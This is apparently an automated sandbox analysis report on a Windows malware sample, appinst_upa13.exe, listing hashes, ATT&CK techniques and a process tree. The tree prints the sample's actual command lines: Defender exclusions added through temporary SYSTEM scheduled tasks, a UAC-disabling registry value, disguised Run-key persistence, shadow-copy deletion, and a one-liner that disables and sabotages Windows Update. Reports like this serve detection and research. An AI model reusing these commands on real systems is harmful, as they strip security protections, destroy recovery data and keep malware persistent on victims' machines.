fac393737802df657b417d73ef881cd5112cad145887e3d2f6cc27699d0f9639

Analysis

max time kernel
142s
max time network
157s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 03:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
appinst_upa13.exe
Size 35.0MB
Sample260817-ejn71ssgrb
SHA256 fac393737802df657b417d73ef881cd5112cad145887e3d2f6cc27699d0f9639
MD5 a0ee57e60a2d64bce981cd3725469e2f
SHA1 45de1301167d165715f071c16855f8eb1756b6bd
SHA512 8195ab4c34821b118593fa608f9defafb166c1e850e92509f5a3f9beb8ba0522be7da4ed4f308051964a0cd705acaff8eaaec95a0c79418e04756c4c4277b48f
SSDEEP 196608:tQnmE+fMeDKqTnrT+B7A6Z6dSBqtiEPFNPL12V5pvUFgAe:uKJnGBr4Xu7vUU
TLSH
T13F87074ABB40CEE6E11A85B098A77B1163FEFD6147E1C30321C83B15DF1B29D4EA7598
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	NPEbwv.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\M3GbhP = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4376	powershell.exe
3172	powershell.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
2196	icacls.exe
2040	icacls.exe
3936	icacls.exe
3596	icacls.exe
3928	icacls.exe
5424	icacls.exe
3564	icacls.exe
2876	icacls.exe
2612	icacls.exe
2280	takeown.exe
4796	icacls.exe
3344	icacls.exe
4856	icacls.exe
2444	icacls.exe
5420	icacls.exe
3832	icacls.exe
3292	takeown.exe
5588	icacls.exe
1092	icacls.exe
2088	icacls.exe
4948	icacls.exe
5836	icacls.exe
5220	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
4916	L7y6P0.exe
4340	L7y6P0.exe
4436	NPEbwv.exe
3132	NPEbwv.exe

Loads dropped DLL 4 IoCs

pid	Process
4916	L7y6P0.exe
4340	L7y6P0.exe
4436	NPEbwv.exe
3132	NPEbwv.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3564	icacls.exe
4948	icacls.exe
5836	icacls.exe
2280	takeown.exe
3936	icacls.exe
3292	takeown.exe
2196	icacls.exe
4796	icacls.exe
2876	icacls.exe
4856	icacls.exe
2612	icacls.exe
2088	icacls.exe
5420	icacls.exe
3832	icacls.exe
5588	icacls.exe
1092	icacls.exe
2040	icacls.exe
2444	icacls.exe
3596	icacls.exe
3928	icacls.exe
5424	icacls.exe
5220	icacls.exe
3344	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\M3GbhP\\L7y6P0.exe\""	L7y6P0.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\71zeHD\\NPEbwv.exe\""	NPEbwv.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5708	cmd.exe
2752	cmd.exe
3492	cmd.exe
4060	cmd.exe
2756	cmd.exe
5548	cmd.exe
1972	cmd.exe
5904	cmd.exe
4756	cmd.exe
3760	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	L7y6P0.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\71zeHD	L7y6P0.exe
File created	C:\Program Files (x86)\71zeHD\image.png	L7y6P0.exe
File opened for modification	C:\Program Files (x86)\OY8t51M	NPEbwv.exe
File opened for modification	C:\Program Files (x86)\OY8t51M\thumbs.db	NPEbwv.exe
File opened for modification	C:\Program Files (x86)\OY8t51M\XPSPLOG.dll	NPEbwv.exe
File created	C:\Program Files (x86)\71zeHD\NPEbwv.exe	L7y6P0.exe
File opened for modification	C:\Program Files (x86)\71zeHD\NPEbwv.exe	L7y6P0.exe
File created	C:\Program Files (x86)\OY8t51M\image.png	NPEbwv.exe
File opened for modification	C:\Program Files (x86)\OY8t51M\image.png	NPEbwv.exe
File created	C:\Program Files (x86)\OY8t51M\BznLb8t.exe	NPEbwv.exe
File created	C:\Program Files (x86)\71zeHD\thumbs.db	L7y6P0.exe
File opened for modification	C:\Program Files (x86)\71zeHD\image.png	L7y6P0.exe
File opened for modification	C:\Program Files (x86)\71zeHD\thumbs.db	L7y6P0.exe
File created	C:\Program Files (x86)\OY8t51M\thumbs.db	NPEbwv.exe
File created	C:\Program Files (x86)\OY8t51M\XPSPLOG.dll	NPEbwv.exe
File created	C:\Program Files (x86)\71zeHD\XPSPLOG.dll	L7y6P0.exe
File opened for modification	C:\Program Files (x86)\71zeHD\XPSPLOG.dll	L7y6P0.exe
File opened for modification	C:\Program Files (x86)\OY8t51M\BznLb8t.exe	NPEbwv.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3944	sc.exe
5848	sc.exe
4444	sc.exe
1552	sc.exe
3804	sc.exe
4608	sc.exe
824	sc.exe
4272	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 28 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3172	cmd.exe
5260	cmd.exe
2052	cmd.exe
2704	cmd.exe
2892	cmd.exe
5560	cmd.exe
4052	cmd.exe
4304	cmd.exe
752	cmd.exe
2200	cmd.exe
3628	cmd.exe
3872	cmd.exe
1708	cmd.exe
484	cmd.exe
4424	cmd.exe
4556	cmd.exe
3184	cmd.exe
1584	cmd.exe
3340	cmd.exe
564	cmd.exe
3312	cmd.exe
2884	cmd.exe
1064	cmd.exe
360	cmd.exe
4508	cmd.exe
424	cmd.exe
3652	cmd.exe
1236	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NPEbwv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NPEbwv.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2096	schtasks.exe
3932	schtasks.exe
3376	schtasks.exe
4668	schtasks.exe
1076	schtasks.exe
5672	schtasks.exe
5412	schtasks.exe
2844	schtasks.exe
3376	schtasks.exe
4596	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
2328	appinst_upa13.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe
4916	L7y6P0.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeIncreaseQuotaPrivilege	3172	powershell.exe
Token: SeSecurityPrivilege	3172	powershell.exe
Token: SeTakeOwnershipPrivilege	3172	powershell.exe
Token: SeLoadDriverPrivilege	3172	powershell.exe
Token: SeSystemProfilePrivilege	3172	powershell.exe
Token: SeSystemtimePrivilege	3172	powershell.exe
Token: SeProfSingleProcessPrivilege	3172	powershell.exe
Token: SeIncBasePriorityPrivilege	3172	powershell.exe
Token: SeCreatePagefilePrivilege	3172	powershell.exe
Token: SeBackupPrivilege	3172	powershell.exe
Token: SeRestorePrivilege	3172	powershell.exe
Token: SeShutdownPrivilege	3172	powershell.exe
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeSystemEnvironmentPrivilege	3172	powershell.exe
Token: SeRemoteShutdownPrivilege	3172	powershell.exe
Token: SeUndockPrivilege	3172	powershell.exe
Token: SeManageVolumePrivilege	3172	powershell.exe
Token: 33	3172	powershell.exe
Token: 34	3172	powershell.exe
Token: 35	3172	powershell.exe
Token: 36	3172	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4916 wrote to memory of 3172	4916	L7y6P0.exe	93
PID 4916 wrote to memory of 4060	4916	L7y6P0.exe	95
PID 4060 wrote to memory of 2096	4060	cmd.exe	98
PID 4060 wrote to memory of 8	4060	cmd.exe	100
PID 4916 wrote to memory of 1972	4916	L7y6P0.exe	103
PID 4060 wrote to memory of 5356	4060	cmd.exe	105
PID 4916 wrote to memory of 2756	4916	L7y6P0.exe	106
PID 1972 wrote to memory of 2844	1972	cmd.exe	108
PID 1972 wrote to memory of 2112	1972	cmd.exe	109
PID 2756 wrote to memory of 3932	2756	cmd.exe	111
PID 1972 wrote to memory of 4204	1972	cmd.exe	112
PID 2756 wrote to memory of 4892	2756	cmd.exe	113
PID 4916 wrote to memory of 5904	4916	L7y6P0.exe	114
PID 2756 wrote to memory of 2028	2756	cmd.exe	116
PID 5904 wrote to memory of 3376	5904	cmd.exe	117
PID 5904 wrote to memory of 4692	5904	cmd.exe	118
PID 4916 wrote to memory of 4756	4916	L7y6P0.exe	123
PID 5904 wrote to memory of 2432	5904	cmd.exe	125
PID 4756 wrote to memory of 4668	4756	cmd.exe	126
PID 4756 wrote to memory of 5664	4756	cmd.exe	127
PID 4756 wrote to memory of 4972	4756	cmd.exe	129
PID 3628 wrote to memory of 1712	3628	cmd.exe	132
PID 424 wrote to memory of 5288	424	cmd.exe	133
PID 2200 wrote to memory of 2792	2200	cmd.exe	134
PID 1584 wrote to memory of 4276	1584	cmd.exe	135
PID 4916 wrote to memory of 4436	4916	L7y6P0.exe	136
PID 4436 wrote to memory of 2704	4436	NPEbwv.exe	250
PID 4436 wrote to memory of 3652	4436	NPEbwv.exe	139

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	NPEbwv.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\appinst_upa13.exe
"C:\Users\Admin\AppData\Local\Temp\appinst_upa13.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2328

C:\Users\Public\M3GbhP\L7y6P0.exe
"C:\Users\Public\M3GbhP\L7y6P0.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\M3GbhP\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\M3GbhP\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2096
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:8
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2844
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3932
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4892
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5904
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4692
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4668
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5664
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4972
- C:\Program Files (x86)\71zeHD\NPEbwv.exe
  "C:\Program Files (x86)\71zeHD\NPEbwv.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4436
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:2704
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3652
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2088
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1236
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3872
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2892
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\71zeHD\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5548
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\71zeHD\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3376
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4448
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5716
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:3340
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:2728
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:5236
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:3944
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5848
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:2944
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:1928
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4444
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1552
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:1724
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:5840
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:3804
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4608
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:4944
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:5864
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:824
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4272
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2280
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3936
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3596
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3928
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3292
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5220
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2196
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4796
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:2348
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:4820
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:1300
